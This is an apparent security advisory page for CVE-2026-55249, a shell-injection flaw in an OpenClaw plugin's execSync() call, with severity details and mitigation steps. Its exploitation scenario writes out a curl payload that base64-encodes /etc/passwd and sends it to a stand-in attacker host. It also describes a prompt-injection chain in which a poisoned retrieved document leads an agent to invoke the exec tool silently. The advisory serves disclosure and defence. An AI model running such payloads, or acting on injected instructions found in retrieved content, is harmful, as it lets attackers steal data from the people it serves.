CVE-2026-55249: @rtk-ai/rtk-rewrite: RCE via shell injection in exec tool
MEDIUMThe @rtk-ai/rtk-rewrite plugin for OpenClaw (v1.0.0) passes attacker-controlled input directly into a Node.js execSync() template string without escaping shell metacharacters: JSON.stringify() wraps the value in double quotes but leaves $() and backtick command substitutions intact, so /bin/sh expands attacker-injected subcommands before rtk is ever invoked. The real danger here is the attack vector — any LLM agent or tool-call gateway that feeds external input (user prompts, retrieved documents, tool responses) into the exec tool creates a direct chain from prompt injection to OS-level code execution with the process's full privileges. The CVE is not in CISA KEV and no public exploit exists yet, but attack complexity is low once an adversary understands the agent's tool-invocation behavior, and the confidentiality impact is rated HIGH. Immediate action: upgrade @rtk-ai/rtk-rewrite past 1.0.0 when a patch is available; in the interim, disable the exec tool if not operationally required, enforce subprocess allowlisting, and run the OpenClaw process under a least-privilege account with OS-level sandboxing (seccomp, container isolation).
What is the risk?
CVSS 6.3 understates practical risk in agentic AI deployments. The vulnerability class is OS command injection (CWE-78) — well-understood and trivial to exploit once the injection point is reachable. The decisive factor is the attack surface: in LLM agent pipelines, attacker-controlled content (from user prompts, RAG-retrieved documents, or upstream tool responses) routinely flows into tool parameters without sanitization. Low attack complexity and network reachability mean any internet-exposed OpenClaw deployment with this plugin is a credible target. Privilege requirements (Low) and user interaction (Required) reflect the dependency on an agent operator session, but in automated agentic workflows that 'required interaction' may be fulfilled automatically. Overall practical risk: HIGH for organizations running autonomous or semi-autonomous OpenClaw agents processing untrusted input.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| OpenClaw | pip | — | No patch |
Do you use OpenClaw? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
PATCH
Upgrade @rtk-ai/rtk-rewrite to a version that applies shell-safe escaping (e.g., using a library like shell-quote or shlex before interpolation into execSync).
-
DISABLE
If the exec tool is not operationally required, disable it in OpenClaw configuration immediately.
-
ALLOWLIST
Restrict permissible command values to a strict allowlist; reject any input containing $(), backticks, semicolons, pipes, or redirect operators.
-
SANDBOX
Run the OpenClaw/rtk-rewrite process under a least-privilege OS account with seccomp filtering or inside a container that blocks unexpected subprocess spawning.
-
DETECT
Alert on unusual child process creation from the OpenClaw process (e.g., unexpected shells, curl/wget, base64 invocations).
-
AUDIT
Review all inputs flowing into the exec tool from LLM outputs or external retrieval sources for command injection payloads.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-55249?
The @rtk-ai/rtk-rewrite plugin for OpenClaw (v1.0.0) passes attacker-controlled input directly into a Node.js execSync() template string without escaping shell metacharacters: JSON.stringify() wraps the value in double quotes but leaves $() and backtick command substitutions intact, so /bin/sh expands attacker-injected subcommands before rtk is ever invoked. The real danger here is the attack vector — any LLM agent or tool-call gateway that feeds external input (user prompts, retrieved documents, tool responses) into the exec tool creates a direct chain from prompt injection to OS-level code execution with the process's full privileges. The CVE is not in CISA KEV and no public exploit exists yet, but attack complexity is low once an adversary understands the agent's tool-invocation behavior, and the confidentiality impact is rated HIGH. Immediate action: upgrade @rtk-ai/rtk-rewrite past 1.0.0 when a patch is available; in the interim, disable the exec tool if not operationally required, enforce subprocess allowlisting, and run the OpenClaw process under a least-privilege account with OS-level sandboxing (seccomp, container isolation).
Is CVE-2026-55249 actively exploited?
No confirmed active exploitation of CVE-2026-55249 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-55249?
1. PATCH: Upgrade @rtk-ai/rtk-rewrite to a version that applies shell-safe escaping (e.g., using a library like shell-quote or shlex before interpolation into execSync). 2. DISABLE: If the exec tool is not operationally required, disable it in OpenClaw configuration immediately. 3. ALLOWLIST: Restrict permissible command values to a strict allowlist; reject any input containing $(), backticks, semicolons, pipes, or redirect operators. 4. SANDBOX: Run the OpenClaw/rtk-rewrite process under a least-privilege OS account with seccomp filtering or inside a container that blocks unexpected subprocess spawning. 5. DETECT: Alert on unusual child process creation from the OpenClaw process (e.g., unexpected shells, curl/wget, base64 invocations). 6. AUDIT: Review all inputs flowing into the exec tool from LLM outputs or external retrieval sources for command injection payloads.
What systems are affected by CVE-2026-55249?
This vulnerability affects the following AI/ML architecture patterns: LLM agent frameworks, AI agent tool integrations, LLM gateway deployments, RAG-augmented agent pipelines, Multi-agent orchestration systems.
What is the CVSS score for CVE-2026-55249?
CVE-2026-55249 has a CVSS v3.1 base score of 6.3 (MEDIUM).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.005 AI Agent Tool AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0051 LLM Prompt Injection AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
@rtk-ai/rtk-rewrite transparently rewrites shell commands executed via OpenClaw's exec tool to their RTK equivalents. In 1.0.0, the @rtk-ai/rtk-rewrite OpenClaw plugin passes attacker-controlled input directly into a shell-backed execSync() template string without shell-safe escaping. JSON.stringify() wraps the value in double quotes and escapes inner double-quotes and backslashes, but leaves $() and backtick shell metacharacters untouched. Because execSync delegates execution to /bin/sh -c, the shell expands $(...) substitutions even inside double-quoted strings, causing the injected subcommand to execute before rtk is invoked. An attacker who can influence the exec tool's command parameter (e.g., via an LLM agent prompt or gateway/tool-call input) achieves arbitrary OS command execution with the privileges of the plugin/gateway process.
Exploitation Scenario
An adversary targeting an organization running an OpenClaw-based AI assistant embeds a payload such as $(curl attacker.com/exfil?data=$(cat /etc/passwd | base64)) inside a document that will be retrieved by the agent's RAG pipeline. When a user queries the agent, the LLM processes the retrieved content and — following its instructions or the injected payload's social-engineering framing — invokes the exec tool with the malicious string as the command parameter. The @rtk-ai/rtk-rewrite plugin wraps the value in double quotes via JSON.stringify() and interpolates it into the execSync() call; /bin/sh expands the $() substitution before rtk runs, causing the data exfiltration command to execute silently under the gateway process account. The agent returns a normal-looking response while the attacker receives the exfiltrated credential data out-of-band.
Weaknesses (CWE)
CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N Timeline
Related Vulnerabilities
CVE-2026-33579 9.9 Analysis pending
Same package: openclaw CVE-2026-32922 9.9 Analysis pending
Same package: openclaw CVE-2026-53838 9.8 OpenClaw: approval scope bypass via reconnection state
Same package: openclaw CVE-2026-30741 9.8 OpenClaw: RCE via request-side prompt injection
Same package: openclaw CVE-2026-32038 9.8 Analysis pending
Same package: openclaw